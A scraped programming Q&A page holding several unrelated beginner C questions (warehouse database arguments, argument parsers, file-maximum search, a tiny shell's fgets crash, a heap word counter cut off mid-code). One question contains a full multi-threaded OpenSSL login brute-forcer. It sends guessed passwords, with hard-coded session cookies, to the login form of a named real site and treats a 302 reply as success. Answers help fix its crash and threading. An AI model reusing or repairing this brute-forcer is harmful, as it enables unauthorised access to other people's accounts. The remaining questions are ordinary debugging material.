is there a replacement for argc and argv - c

I have a C program here where a warehouse is managed. I want to use argc and argv in this code, because the program always expects the commands as call parameters, not as interactive input. And I want to be able to enter them as interactive input.
How should it be changed? I am completely new to C or programming in general.
sorry in the code some words are not in english
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define NAMELENGTH 100
#define DBSIZE 1000
#define DBNAME "database.bin"
struct Artikel
{
char artikel[NAMELENGTH + 1];
int anzahl;
};
struct Artikel db[DBSIZE];
void fehler(const char *text)
{
fprintf(stderr, "Fehler: %s!\n", text);
exit(1);
}
void check_artikel(char *artikel)
{
if (!artikel || strlen(artikel) > NAMELENGTH)
fehler("Artikel zu lang");
}
void db_load()
{
FILE *input = fopen(DBNAME, "rb");
if (!input)
fehler("Datenbank zum Lesen öffnen fehlgeschlagen");
size_t size = fread(db, 1, sizeof(db), input);
if (size != sizeof(db))
fehler("Datenbank nicht komplett geladen");
fclose(input);
}
void db_save()
{
FILE *output = fopen(DBNAME, "wb");
if (!output)
fehler("Datenbank zum Schreiben öffnen fehlgelschlagen");
size_t size = fwrite(db, 1, sizeof(db), output);
if (size != sizeof(db))
fehler("Datenbank nicht komplett geschrieben");
fclose(output);
}
void db_clear()
{
for (int i = 0; i < DBSIZE; i++)
{
db[i].anzahl = 0;
}
}
int db_size()
{
int size = 0;
for (int i = 0; i < DBSIZE; i++)
size += db[i].anzahl ? 1 : 0;
return size;
}
int db_find(char *artikel)
{
for (int i = 0; i < DBSIZE; i++)
if (db[i].anzahl > 0 && !strcasecmp(db[i].artikel, artikel))
return i;
return -1;
}
void db_add(char *artikel, int anzahl)
{
int found = db_find(artikel);
if (found >= 0)
{
db[found].anzahl += anzahl;
return;
}
for (int i = 0; i < DBSIZE; i++)
if (db[i].anzahl == 0)
{
strcpy(db[i].artikel, artikel);
db[i].anzahl = anzahl;
return;
}
fprintf(stderr, "Datenbank voll!\n");
}
void db_list()
{
if (db_size() == 0)
{
printf("Datenbank ist leer.\n");
return;
}
printf("Anzahl : Artikel\n");
printf("--------:-------------------------------------------------------------\n");
for (int i = 0; i < DBSIZE; i++)
if (db[i].anzahl > 0)
{
printf(" %5d : %s\n", db[i].anzahl, db[i].artikel);
}
}
int main(int argc, char **argv)
{
if (argc < 2)
fehler("Kein Kommando angegeben!\nGültige Kommandos: init, add ANZAHL ARTIKEL, list");
const char *cmd = argv[1];
if (!strcmp(cmd, "init"))
{
db_clear();
db_save();
printf("Datenbank initialisiert.\n");
}
else if (!strcmp(cmd, "list"))
{
db_load();
db_list();
}
else if (!strcmp(cmd, "add"))
{
if (argc < 3)
fehler("Keine Artikelanzahl angegeben");
int anzahl = atoi(argv[2]);
if (anzahl <= 0)
fehler("Artikelanzahl zu klein");
if (argc < 4)
fehler("Kein Artikel angegeben");
char *artikel = argv[3];
check_artikel(artikel);
if (argc > 4)
fehler("Zu viele Eingaben");
db_load();
db_add(artikel, anzahl);
db_save();
printf("Artikel hinzugefügt.\n");
}
else
{
fprintf(stderr, "Unbekanntes Kommando!\n");
return 1;
}
return 0;
}

Related

ISO C++ forbids converting a string constant to 'char*' [-Wwrite-strings]

I am trying to run this code on my local machine, but I am receiving the following errors:
ISO C++ forbids converting a string constant to 'char*' [-Wwrite-strings] error in my Terminal
File is not compatible with the version of Windows you're running. Check your computer's system information and then contact the software publisher.
These erros are blocking me compiling the code, I am using C | Visual Studio Code | Windows 10 and MSY2 Ming64w to compile my code - can you help me solve this?
my.functions.h
#ifndef HW1
#define HW1
#include <stdio.h>
int str_length(char*);
void str_copy(char* src, char* dest);
int str_find(char* src, char* dest);
int get_unnamed_argument(int index, int argc, char **argv, char *result);
int get_named_argument(int index, int argc, char **argv, char *result);
#endif
my_fuctions.c
#include <stdio.h>
#include "my_functions.h"
int str_length(char* string) {
int c = 0;
for (c = 0; string[c] != '\0'; c++);
return c;
}
void str_copy(char* d, char* source)
{
int i;
for (i = 0; source[i] != '\0'; i++)
{
d[i] = source[i];
}
d[i] = '\0';
}
int str_find(char* needle, char* haystack)
{
int c,x;
for(c = 0; c < str_length(haystack); c++){
if (needle[0] == haystack[c]){
int count = 0;
for(x = 0; x < str_length(needle); x++){
if(needle[x] == haystack[c+x]){
count++;
}
}
if (count == str_length(needle)){
return c;
}
}
}
return -1;
}
int get_unnamed_argument(int index, int argc, char **argv, char *result) {
int c;
for (c = 0;c <= index;c++) {
if (index > argc - 1) {
return -1;
}
else if (str_find("=",argv[c]) != -1) {
index++;
}
else if (str_find("--",argv[c]) != -1) {
return -1;
}
else if (c == index) {
str_copy(result,argv[c]);
return str_length(argv[c]);
}
}
return -1;
}
int get_named_argument(int index, int argc, char **argv, char *result) {
int c;
for (c = 0; c <= index; c++) {
if (index > argc - 1) {
return -1;
}
else if (str_find("=",argv[c]) == -1) {
index++;
}
else if (str_find("--",argv[c]) != -1) {
return -1;
}
else if (c == index) {
str_copy(result, argv[c]);
return str_length(argv[c]);
}
}
return -1;
}
main.c
#include <stdio.h>
#include "my_functions.c"
#include "my_functions.h"
int main(int argc, char **argv) {
char t[1];
int counter;
scanf("%s %i", t, &counter);
if (str_length(t) == 1 && str_find("n", t) != -1)
{
if (counter <= 0)
{
counter = argc;
}
int c;
for (c = 0; c < counter; c++)
{
char result[255];
int arg_len = get_named_argument(c, argc, argv, result);
if (arg_len == -1)
{
return 0;
}
printf("%s\n", result);
}
} else if (str_length(t) == 1 && str_find("u", t) != -1)
{
if (counter <= 0)
{
counter = argc;
}
int c;
for (c = 0; c < counter; c++)
{
char result[255];
int arg_len = get_unnamed_argument(c, argc, argv, result);
if (arg_len == -1)
{
return 0;
}
printf("%s\n", result);
}
} else {
if (counter <= 0)
{
counter = argc;
}
int c;
for (c = 0; c < counter; c++) {
if (str_find("--", argv[c]) != -1)
{
return 0;
}
printf("%s\n", argv[c]);
}
}
return 0;
}

OpenSSL C Multi-Threaded Client Segmentation Fault

I have a problem with one of my multi-threaded client, this is the full code, it is basically a bruteforcer:
#include <unistd.h>
#include <sys/types.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#define N 10
#define EXT ".txt"
#define BUFFER_SIZE 1024000
//#define CA_DIR "/home/Scrivania/SRBF/mycert"
#define SIZE 67
char * letters[SIZE] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",
"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
".","_","1","2","3","4","5","6","7","8","9","0","!","#","$"};
char * word4[] = {"A","A","A","A"};
int isMatch(char * buffer)
{
if(buffer == NULL)
{
return 0;
}
strtok(buffer, " ");
char * tok = strtok(NULL," ");
if(tok == NULL)
{
return 0;
}
if(strcmp(tok, "302") == 0)
{
return 1;
}
return 0;
}
void init_openssl()
{
SSLeay_add_ssl_algorithms();
SSL_load_error_strings();
SSL_library_init();
ERR_load_BIO_strings();
OpenSSL_add_all_algorithms();
}
BIO * connect_encrypted(char * host_and_port, SSL_CTX** ctx, SSL ** ssl)
{
BIO * bio = NULL;
*ctx = SSL_CTX_new(TLS_client_method());
*ssl = NULL;
/* int r = 0;
r = SSL_CTX_load_verify_locations(*ctx, NULL , CA_DIR);
if(r == 0)
{
return NULL;
}*/
bio = BIO_new_ssl_connect(*ctx);
BIO_get_ssl(bio, ssl);
SSL_set_mode(*ssl, SSL_MODE_AUTO_RETRY);
BIO_set_conn_hostname(bio, host_and_port);
if(BIO_do_connect(bio)< 1)
{
fprintf(stderr,"Unable to connect BIO. %s", host_and_port);
return NULL;
}
return bio;
}
int write_to_stream(BIO* bio, char * buffer, ssize_t length)
{
ssize_t r = -1;
while(r <= 0)
{
r = BIO_write(bio, buffer, length);
}
return r;
}
ssize_t read_from_stream(BIO * bio, char * buffer, ssize_t length)
{
ssize_t r = -1;
while(r <= 0)
{
r = BIO_read(bio, buffer, length);
}
return r;
}
char * username;
char * usrp;
char * pwdp;
char * uri;
void SendRequest(char * word)
{
char * host_and_port = "site.com:443";
char * server_request = malloc(sizeof(char)*BUFFER_SIZE);
char * buffer = malloc(sizeof(char)*BUFFER_SIZE);
int r = 0;
int r2 = 0;
sprintf(server_request, "POST %s HTTP/1.1\r\n"
"Host: www.annunci69.it\r\n"
"Cookie:__cfduid=d559ac43d2cc4e294b93e14699ab4f0071544273037; PHPSESSID=qjjrvg2j6nq2babbn1am3itac5; A69_regione=Sicilia; Doublech=1956935; A69_becomeavip=1; A69_onlinetimes=2; A69_tipsMASTER=1; A69_tips[listabannati]=listabannati; getgeo=1\r\n"
"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 44\r\n"
"Connection: close\r\n"
"\r\n"
"%s=%s&%s=%s&login=Entra", uri, usrp, username, pwdp, word);
BIO * bio;
SSL_CTX * ctx = NULL;
SSL * ssl = NULL;
if ((bio = connect_encrypted(host_and_port, &ctx, &ssl)) == NULL)
{
fprintf(stderr, "Error in connect\n");
exit(EXIT_FAILURE);
}
while(r <= 0)
{
r = write_to_stream(bio, server_request, strlen(server_request));
}
while(r2 <= 0)
{
r2 = read_from_stream(bio, buffer, BUFFER_SIZE);
}
SSL_CTX_free(ctx);
free(server_request);
if(isMatch(buffer) == 1)
{
printf("Password -> %s", word);
exit(EXIT_SUCCESS);
}
free(buffer);
}
_Bool passaggio1(char * word[], int n)
{
for(int i = 0; i < SIZE; i++)
{
for(int j = 0, c = 0; j < n; j++)
{
if(word[j] == letters[i])
{
c++;
if(c > 3)
{
return 1;
}
}
}
}
return 0;
}
char *lastword[12];
_Bool passaggio2(char *word[], int n)
{
int count = 0;
for(int i = 0; i <= n; i++)
{
if(lastword[i] == word[i])
{
count++;
}
}
if(count > n-2)
{
return 1;
}
return 0;
}
int Write(char * word[], char * buffer, int n)
{
if(passaggio1(word, n) == 1 || passaggio2(word, n) == 1)
{
return 1;
}
for(int i = 0; i <= n; i++)
{
if(i == 0)
{
strcpy(buffer,word[i]);
}
strcat(buffer, word[i]);
lastword[i] = word[i];
}
return 0;
}
void four_Digits(char * word[], char * letters[])
{
for(int i = 0; i < SIZE; i++)
{
word[0] = letters[i];
for(int j = 0; j < SIZE ;j++)
{
word[1] = letters[j];
for(int k = 0; k < SIZE; k++)
{
word[2] = letters[k];
for(int l = 0; l < SIZE;l++)
{
word[3] = letters[l];
char * buffer = malloc(sizeof(char)*64);
if((Write(word, buffer, 3)) == 0)
{
printf("Trying: %s\n", buffer);
SendRequest(buffer);
}
free(buffer);
}
}
}
}
}
void * handler1(void * args)
{
four_Digits(word4, letters);
pthread_exit(0);
}
int main(int argc, char * argv[])
{/*
if(argc < 2)
{
fprintf(stderr ,"\nUsage: srbf username \n");
exit(EXIT_FAILURE);
}*/
username = "username"; //argv[1];
uri = malloc(sizeof(char)*32);
usrp = malloc(sizeof(char)*16);
pwdp = malloc(sizeof(char)*16);
printf("Insert URI\n");
scanf("%s", uri);
printf("Insert username parameter\n");
scanf("%s", usrp);
printf("Insert password parameter\n");
scanf("%s", pwdp);
int res;
pthread_t tid;
init_openssl();
res = pthread_create(&tid,NULL, handler1,0);
if(res != 0)
{
fprintf(stderr,"Thread Creation Failed\n");
exit(EXIT_FAILURE);
}
res = pthread_join(tid, 0);
if(res != 0)
{
fprintf(stderr, "Thread join failed\n");
exit(EXIT_FAILURE);
}
free(uri);
free(usrp);
free(pwdp);
exit(EXIT_SUCCESS);
}
when i do gdb main the program keeps running normally for some seconds, then i get segmentation fault with this error:
Thread 10 "main" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffedffb700 (LWP 13328)]
0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1, count=17,
fp=0x55555555834e) at iofwrite.c:37
37 iofwrite.c: File or directory not existing.
Then i type the command bt and this is what i get:
#0 0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1,
count=17, fp=0x55555555834e) at iofwrite.c:37
#1 0x0000555555556127 in SendRequest ()
#2 0x00005555555569cd in twelve_Digits ()
#3 0x0000555555557d43 in handler9 ()
#4 0x00007ffff74db6db in start_thread (arg=0x7fffedffb700)
at pthread_create.c:463
#5 0x00007ffff720488f in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
I posted the full code cause i'm really confused and i can't understand this error, can someone pls help me? Is it related to OpenSSL? What do i need to change? I will provide more informations if necessary.
You have lots of undefined behaviour.
Just an example:
Your function seven_Digits accesses 7 elements of the array passed as first parameter.
But you pass only an array with 4 strings:
char * word4[] = {"A","A","A","A"};
...
seven_Digits(word4, letters);
This is an out of bounds access causing undefined bahaviour.
Similar behaviour for other handlers calling other functions with same array.
if you use openssl with multithread you must deal with criticialsections.
declare some global variables
int number_of_locks = 0;
ssl_lock *ssl_locks = nullptr;
get the number of locks with CRYPTO_num_locks()
number_of_locks = CRYPTO_num_locks();
if(number_of_locks > 0)
{
ssl_locks = (ssl_lock*)malloc(number_of_locks * sizeof(ssl_lock));
for(int n = 0; n < number_of_locks; ++n)
InitializeCriticalSection(&ssl_locks[n]);
}
initialize callbacks functions names
CRYPTO_set_locking_callback(&ssl_lock_callback);
CRYPTO_set_dynlock_create_callback(&ssl_lock_dyn_create_callback);
CRYPTO_set_dynlock_lock_callback(&ssl_lock_dyn_callback);
CRYPTO_set_dynlock_destroy_callback(&ssl_lock_dyn_destroy_callback);
implement them
void ssl_lock_callback(int mode, int n, const char *file, int line)
{
if(mode & CRYPTO_LOCK)
EnterCriticalSection(&ssl_locks[n]);
else
LeaveCriticalSection(&ssl_locks[n]);
}
CRYPTO_dynlock_value* ssl_lock_dyn_create_callback(const char *file, int line)
{
CRYPTO_dynlock_value *l = (CRYPTO_dynlock_value*)malloc(sizeof(CRYPTO_dynlock_value));
InitializeCriticalSection(&l->lock);
return l;
}
void ssl_lock_dyn_callback(int mode, CRYPTO_dynlock_value* l, const char *file, int line)
{
if(mode & CRYPTO_LOCK)
EnterCriticalSection(&l->lock);
else
LeaveCriticalSection(&l->lock);
}
void ssl_lock_dyn_destroy_callback(CRYPTO_dynlock_value* l, const char *file, int line)
{
DeleteCriticalSection(&l->lock);
free(l);
}

Read each files on file_list array, and search max_value in rows on each files in C

I have the filelist array without extension(which is like 2, 5, 8, 11, etc..), and try to read it as a text file(2.txt, 5.txt, 8.txt, 11.txt).
And each files have 3 rows, and 513 columns, which is like..
wavenumber wavelength PS
0.000000e+00 inf 1.339797e+10
2.667793e-04 2.355200e+04 2.264711e+07
5.335585e-04 1.177600e+04 5.774260e+06
8.003378e-04 7.850667e+03 4.347408e+06
1.067117e-03 5.888000e+03 2.071735e+06
1.333896e-03 4.710400e+03 1.338209e+06
1.600676e-03 3.925333e+03 1.010330e+06
1.867455e-03 3.364572e+03 7.951162e+05
2.134234e-03 2.944000e+03 6.293471e+05
2.401013e-03 2.616889e+03 5.702861e+05
2.667793e-03 2.355200e+03 4.124521e+05
2.934572e-03 2.141091e+03 3.946834e+05
3.201351e-03 1.962667e+03 4.367024e+05
3.468130e-03 1.811692e+03 4.606193e+05
3.734910e-03 1.682286e+03 3.691915e+05
4.001689e-03 1.570133e+03 4.260768e+05
4.268468e-03 1.472000e+03 5.516758e+05
4.535248e-03 1.385412e+03 9.301200e+05
4.802027e-03 1.308444e+03 1.307440e+06
5.068806e-03 1.239579e+03 1.739384e+06
5.335585e-03 1.177600e+03 3.961967e+06
5.602365e-03 1.121524e+03 9.018276e+06
5.869144e-03 1.070545e+03 1.564086e+07
6.135923e-03 1.024000e+03 6.533970e+07
6.402702e-03 9.813333e+02 1.299191e+07
6.669482e-03 9.420800e+02 6.127578e+06
6.936261e-03 9.058461e+02 2.723106e+06
7.203040e-03 8.722963e+02 1.135096e+06
7.469819e-03 8.411429e+02 5.839772e+05
7.736599e-03 8.121379e+02 5.686039e+05
8.003378e-03 7.850667e+02 4.622423e+05
8.270157e-03 7.597419e+02 6.013722e+05
8.536937e-03 7.360000e+02 5.963052e+05
8.803716e-03 7.136970e+02 7.575063e+05
9.070495e-03 6.927059e+02 9.150109e+05
9.337274e-03 6.729143e+02 8.281556e+05
9.604054e-03 6.542222e+02 1.441827e+06
9.870833e-03 6.365405e+02 2.293378e+06
1.013761e-02 6.197895e+02 4.720661e+06
1.040439e-02 6.038975e+02 9.183591e+06
1.067117e-02 5.888000e+02 1.244082e+07
1.093795e-02 5.744390e+02 2.475937e+07
1.120473e-02 5.607619e+02 3.096345e+07
1.147151e-02 5.477209e+02 5.709620e+07
1.173829e-02 5.352727e+02 1.128015e+08
1.200507e-02 5.233778e+02 1.951984e+08
1.227185e-02 5.120000e+02 3.567358e+08
1.253863e-02 5.011064e+02 1.038480e+08
1.280540e-02 4.906667e+02 6.609837e+07
1.307218e-02 4.806531e+02 3.366062e+07
1.333896e-02 4.710400e+02 3.214113e+07
1.360574e-02 4.618039e+02 1.068869e+07
1.387252e-02 4.529231e+02 6.818056e+06
1.413930e-02 4.443773e+02 4.110327e+06
1.440608e-02 4.361482e+02 3.497202e+06
1.467286e-02 4.282182e+02 2.220670e+06
1.493964e-02 4.205714e+02 1.557209e+06
1.520642e-02 4.131930e+02 1.305517e+06
1.547320e-02 4.060690e+02 1.336280e+06
1.573998e-02 3.991864e+02 1.055823e+06
1.600676e-02 3.925333e+02 1.249962e+06
1.627354e-02 3.860984e+02 2.264681e+06
1.654031e-02 3.798710e+02 3.177218e+06
1.680709e-02 3.738413e+02 4.535130e+06
1.707387e-02 3.680000e+02 3.768252e+06
1.734065e-02 3.623385e+02 9.292287e+06
1.760743e-02 3.568485e+02 1.537548e+07
1.787421e-02 3.515224e+02 1.766043e+07
1.814099e-02 3.463529e+02 1.719145e+07
1.840777e-02 3.413333e+02 3.127401e+07
1.867455e-02 3.364572e+02 1.841132e+07
1.894133e-02 3.317183e+02 1.283891e+07
1.920811e-02 3.271111e+02 8.802511e+06
1.947489e-02 3.226301e+02 6.138252e+06
1.974167e-02 3.182703e+02 3.253741e+06
2.000845e-02 3.140267e+02 2.274736e+06
2.027522e-02 3.098947e+02 1.761115e+06
2.054200e-02 3.058701e+02 1.719121e+06
2.080878e-02 3.019487e+02 2.010613e+06
2.107556e-02 2.981266e+02 1.804399e+06
2.134234e-02 2.944000e+02 2.074000e+06
2.160912e-02 2.907654e+02 1.910002e+06
2.187590e-02 2.872195e+02 2.917329e+06
2.214268e-02 2.837590e+02 3.900309e+06
2.240946e-02 2.803810e+02 4.747046e+06
2.267624e-02 2.770824e+02 8.309638e+06
2.294302e-02 2.738605e+02 9.704105e+06
2.320980e-02 2.707126e+02 1.337196e+07
2.347658e-02 2.676364e+02 1.850881e+07
2.374335e-02 2.646292e+02 2.134344e+07
2.401013e-02 2.616889e+02 2.865988e+07
2.427691e-02 2.588132e+02 2.796588e+07
2.454369e-02 2.560000e+02 3.577728e+07
2.481047e-02 2.532473e+02 2.592449e+07
2.507725e-02 2.505532e+02 2.117858e+07
2.534403e-02 2.479158e+02 1.466834e+07
2.561081e-02 2.453333e+02 1.447010e+07
2.587759e-02 2.428041e+02 8.931647e+06
2.614437e-02 2.403265e+02 5.346297e+06
2.641115e-02 2.378990e+02 3.370142e+06
2.667793e-02 2.355200e+02 2.844172e+06
2.694471e-02 2.331881e+02 2.385213e+06
2.721149e-02 2.309020e+02 2.559934e+06
2.747826e-02 2.286602e+02 2.235514e+06
2.774504e-02 2.264615e+02 2.389616e+06
2.801182e-02 2.243048e+02 2.091203e+06
2.827860e-02 2.221887e+02 3.688845e+06
2.854538e-02 2.201122e+02 4.157106e+06
2.881216e-02 2.180741e+02 4.784280e+06
2.907894e-02 2.160734e+02 6.942617e+06
2.934572e-02 2.141091e+02 8.618190e+06
2.961250e-02 2.121802e+02 9.034358e+06
2.987928e-02 2.102857e+02 1.041257e+07
3.014606e-02 2.084248e+02 1.210773e+07
3.041284e-02 2.065965e+02 1.181222e+07
3.067962e-02 2.048000e+02 1.478849e+07
3.094640e-02 2.030345e+02 1.399273e+07
And so on...
So I made a 2d array, and tried to findout the MAX values of each column.
/*openfiles according to reprogramed filelist*/
for(i =2; i<file_count; i++) {
strcat(filelist[i],".txt");
if((fp = fopen( filelist[i], "r")) == NULL)
{
perror("error to openfiles");
exit(1);
}
/*declare the variables*/
char data[3][513];
//char wavenumber[513], wavelength[513], powerspec[513];
int COL, ROW, MAX_wavenumber, MAX_wavelength, MAX_powerspec;
int HEIGHT,WIDTH;
HEIGHT = 513;
WIDTH = 3;
//input data to new array
for(COL = 0; COL < HEIGHT; COL++) {
for (ROW = 0; ROW < WIDTH; ROW++) {
fscanf(fp, "%s", &data[ROW][COL]);
}
}
//start of comparison of data
for(COL = 2; COL < HEIGHT - 1; COL++) { //number starts from the 3rd column
while(ROW == 1) {
if( atof(&data[ROW][COL]) < atof(&data[ROW][COL+1]) ) {
MAX_wavenumber = atof(&data[ROW][COL+1]);
}
while(ROW == 2) {
if( atof(&data[ROW][COL]) < atof(&data[ROW][COL+1]) ) {
MAX_wavelength = atof(&data[ROW][COL+1]);
}
}
while(ROW == 3)
if( atof(&data[ROW][COL]) < atof(&data[ROW][COL+1]) ) {
MAX_powerspec = atof(&data[ROW][COL+1]);
}
}
}
printf("MAX_wavenumber : %d",MAX_wavenumber);
printf("MAX_wavelength : %d",MAX_wavelength);
printf("MAX_powerspec : %d",MAX_powerspec);
fclose(fp);
}
This does not start at all !!
Here's my full code.
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
char *remove_ext (char* mystr, char dot, char sep);
int main()
{
char fname1[256],fname2[256];
char folderpath[256];
int mod;
int re_mainder;
char *tem;
char filenameNoExtension;
char **filelist;
int i,j,l;
char ***ls = &filelist;
int file_count = 0;
char *s;
DIR* dp = NULL;
struct dirent* entry = NULL;
FILE* fp = NULL;
/*open folder*/
printf("enter the folder path : ");
scanf("%s",folderpath);
/* Err message of opening directory */
if((dp = opendir(folderpath)) ==NULL) {
fprintf(stderr,"unidentified folder : %s",folderpath);
return 0;
}
*ls = NULL;
/*file count*/
while ((entry = readdir(dp)) != NULL) {
if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0)
continue;
++file_count;
}
/* rewind the directory and need to reallocate memory for reading 18250 files */
rewinddir(dp);
*ls = calloc(file_count, sizeof(char*));
/*make the array of filelist*/
file_count = 0;
entry = readdir(dp);
while(NULL != entry) {
(*ls)[file_count++] = strdup(entry->d_name);
entry = readdir(dp);
}
/*remove the extension */
for(i = 0; i < file_count; i++) {
filelist[i] = remove_ext(filelist[i], '.', '/');
}
closedir(dp);
//loop starts at 2 for get rid of space & .
for(i = 2; i< file_count; i++) {
printf("%s\n",filelist[i]);
}
/*select the mod & remainder*/
printf("select the mod number : ");
scanf("%d", &mod);
printf("select the remainder : ");
scanf("%d",&re_mainder);
/*sort files by the remainder*/
for(i = 2; i<file_count; i++) {
if( atoi( filelist[i] )%mod == re_mainder) { /*use atoi function for changing string to int*/
filelist[i] = filelist[i];
}
else
filelist[i] = "delete";
}
//delete the "delete" in array
l = file_count;
for(i = 0; i<l; i++) {
if (strcmp(filelist[i], "delete") == 0 ) {
for(j = i; j < l; j++)
filelist[j]=filelist[j+1];
i--; //check again from same index i
l--; //Decreasing the length of the array
}
}
/* resize the modified file_count */
file_count = sizeof(filelist)/sizeof(filelist[0]);
for(i =2; i<file_count; i++) {
printf("%s\n",filelist[i]);
}
/********** **HERE"S MY QUESTION** **********/
/**********openfiles according to reprogramed filelist**********/
for(i =2; i<file_count; i++) {
strcat(filelist[i],".txt");
if((fp = fopen( filelist[i], "r")) == NULL)
{
perror("error to openfiles");
exit(1);
}
/*declare the variables*/
char data[3][513];
//char wavenumber[513], wavelength[513], powerspec[513];
int COL, ROW, MAX_wavenumber, MAX_wavelength, MAX_powerspec;
int HEIGHT,WIDTH;
HEIGHT = 513;
WIDTH = 3;
//input data to new array
for(COL = 0; COL < HEIGHT; COL++) {
for (ROW = 0; ROW < WIDTH; ROW++) {
fscanf(fp, "%s", &data[ROW][COL]);
}
}
//start of comparison of data
for(COL = 2; COL < HEIGHT - 1; COL++) { //number starts from the 3rd column
while(ROW == 1) {
if( atof(&data[ROW][COL]) < atof(&data[ROW][COL+1]) ) {
MAX_wavenumber = atof(&data[ROW][COL+1]);
}
while(ROW == 2) {
if( atof(&data[ROW][COL]) < atof(&data[ROW][COL+1]) ) {
MAX_wavelength = atof(&data[ROW][COL+1]);
}
}
while(ROW == 3)
if( atof(&data[ROW][COL]) < atof(&data[ROW][COL+1]) ) {
MAX_powerspec = atof(&data[ROW][COL+1]);
}
}
}
printf("MAX_wavenumber : %d",MAX_wavenumber);
printf("MAX_wavelength : %d",MAX_wavelength);
printf("MAX_powerspec : %d",MAX_powerspec);
fclose(fp);
}
}
//this is just for removing the extension of files
char *remove_ext (char* mystr, char dot, char sep) {
char *retstr, *lastdot, *lastsep;
// Error checks and allocate string.
if (mystr == NULL)
return NULL;
if ((retstr = malloc (strlen (mystr) + 1)) == NULL)
return NULL;
// Make a copy and find the relevant characters.
strcpy (retstr, mystr);
lastdot = strrchr (retstr, dot);
lastsep = (sep == 0) ? NULL : strrchr (retstr, sep);
// If it has an extension separator.
if (lastdot != NULL) {
// and it's before the extenstion separator.
if (lastsep != NULL) {
if (lastsep < lastdot) {
// then remove it.
*lastdot = '\0';
}
} else {
// Has extension separator with no path separator.
*lastdot = '\0';
}
}
// Return the modified string.
return retstr;
}

Segmentation fault using fgets in C

My code is not working and it is when I call fgets in the commandSplit function. I figured this out by printing "Am I here" in multiple places and find that the error at fgets it seems. I may be wrong, but I am pretty sure. I get a segmentation fault and I can not figure out why. Below is my code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#define MAX_CHARACTERS 512
int Execute(char *a[], int t[], int num) {
int exitShell = 0;
int l = 0;
for (int i = 0; i < num; i++) {
int status;
if (strcmp(a[0], "quit") == 0) {
exitShell = 1;
}
if (t[i] && ((strcmp(a[l], "quit") == 0))) {
exitShell = 1;
}
char *holder[t[i]+1];
for (int j = 0; j < t[i]; j++) {
holder[j] = a[l];
l++;
}
holder[t[i]] = NULL;
pid_t p = fork();
pid_t waiting;
if (p == 0) {
execvp(holder[0], holder);
fprintf(stderr, "Child process could not execvp!\n");
exit(1);
} else {
if (p < 0) {
fprintf(stderr, "Fork FAILED!\n");
} else {
waiting = wait(&status);
printf("Child %d exit with status %d\n", waiting, status);
}
}
for (int g = 0; g < t[i]; g++) {
a[g] = NULL;
}
}
for (int i = 0; i < num; i++) {
t[i] = 0;
}
return exitShell;
}
int commandSplit(char *c, FILE *f, char *a[], int t[]) {
int count = 0;
int emptyfile = 1;
int stat = 0;
int total1 = 0;
char *temp[MAX_CHARACTERS];
if (c != NULL) {
char *readCommands = strtok(c, ";");
while (readCommands != NULL) {
temp[count] = readCommands;
count++;
readCommands = strtok(NULL, ";");
}
for (int i = 0; i < count; i++) {
char *read = strtok(temp[i], " ");
int track1 = 0;
while (read != NULL) {
a[total1] = read;
track1++;
total1++;
read = strtok(NULL, " ");
}
t[i] = track1;
}
stat = Execute(a, t, count);
} else {
char *buildCommands = "";
printf("Am I here???\n");
while ((fgets(buildCommands, MAX_CHARACTERS, f) != NULL) && !stat) {
printf("Am I here???\n");
emptyfile = 0;
commandSplit(buildCommands, NULL, a, t);
stat = Execute(a, t, count);
}
if (emptyfile) {
printf("File is empty!\n");
stat = 1;
}
}
printf("Am I here???\n");
return stat;
}
int main(int argc, char *argv[]) {
int exitProgram = 0;
FILE *fileRead = NULL;
if (argc == 2) {
fileRead = fopen(argv[1], "r");
if (fileRead == NULL) {
printf("No such file exists\n");
exitProgram = 1;
}
}
if (argc > 2) {
printf("Incorrect batch mode call\n");
exitProgram = 1;
}
char *args[MAX_CHARACTERS];
int tracker[MAX_CHARACTERS];
while (!exitProgram) {
if (argc == 1) {
char *commands = (char *)(malloc(MAX_CHARACTERS * sizeof(char)));
printf("tinyshell>");
if (fgets(commands, MAX_CHARACTERS, stdin) == NULL) {
exitProgram = 1;
printf("\n");
}
int len;
len = strlen(commands);
if (len > 0 && commands[len-1] == '\n') {
commands[len-1] = '\0';
}
if (len > MAX_CHARACTERS) {
printf("TOO MANY CHARACTERS - MAX: 512\n");
continue;
}
if (strlen(commands) == 0)
continue;
exitProgram = commandSplit(commands, NULL, args, tracker);
} else {
exitProgram = commandSplit(NULL, fileRead, args, tracker);
}
}
fclose(fileRead);
return 0;
}
As commented #Jean-François Fabre , buildCommands points to insufficient space and potential const space;
char *buildCommands = "";
...
// bad code
while ((fgets(buildCommands, MAX_CHARACTERS, f) != NULL) && !stat) {
Allocate space with an array or malloc()
char buildCommands[MAX_CHARACTERS];
...
while ((fgets(buildCommands, sizeof buildCommands, f) != NULL) && !stat) {
...
}
// or
char *buildCommands = malloc(MAX_CHARACTERS);
assert(buildCommands);
...
while ((fgets(buildCommands, MAX_CHARACTERS, f) != NULL) && !stat) {
...
}
...
free(buildCommands);

reads txt from file, cut them into words, and display

#pragma warning(disable:4996)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
static WORDS heap[10000];
int heapSize;
void InitHeap()
{
heapSize = 0;
heap[0].words = NULL;
heap[0].count = -1;
}
void InsertHeap(char* string)
{
heapSize++;
strcpy(heap[heapSize].words, string);
int now = heapSize;
while (heap[now / 2].words > string)
{
heap[now] = heap[now / 2];
